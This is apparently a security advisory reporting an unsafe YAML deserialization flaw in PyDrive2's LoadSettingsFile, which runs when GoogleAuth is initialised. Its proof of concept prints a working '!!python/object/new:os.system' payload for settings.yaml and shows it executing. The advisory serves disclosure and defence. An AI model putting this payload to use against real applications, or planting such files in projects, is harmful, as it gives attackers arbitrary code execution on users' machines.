PyDrive2's unsafe YAML deserialization in LoadSettingsFile allows arbitrary code execution
### Summary
Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via `LoadSettingsFile`.
### Details
The loader being imported from the `yaml` library is `CLoader`:
https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5
This loader is then used to load a user supplied file:
https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121
CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.
https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L9
Reference:
https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
### PoC
1. Create a malicious `settings.yaml` file:
```yaml
!!python/object/new:os.system [echo poc]
```
2. Initialize a `GoogleAuth` object .
```python
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
```
3. Execute the code with the settings file present in your directory. The code inside the file will be executed:
```
[evan@ejedev PyDrive2]$ ls
CHANGES client_secrets.json CONTRIBUTING.rst docs examples LICENSE main.py MANIFEST.in pydrive2 pyproject.toml pytest.ini README.rst settings.yaml setup.py tox.ini
[evan@ejedev PyDrive2]$ cat settings.yaml
!!python/object/new:os.system [echo poc]
[evan@ejedev PyDrive2]$ cat main.py
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
[evan@ejedev PyDrive2]$ python3 main.py
poc
```
Alternatively, the file can be loaded in directly via `pydrive2.settings.LoadSettingsFile`
### Impact
This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious `yaml` file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk.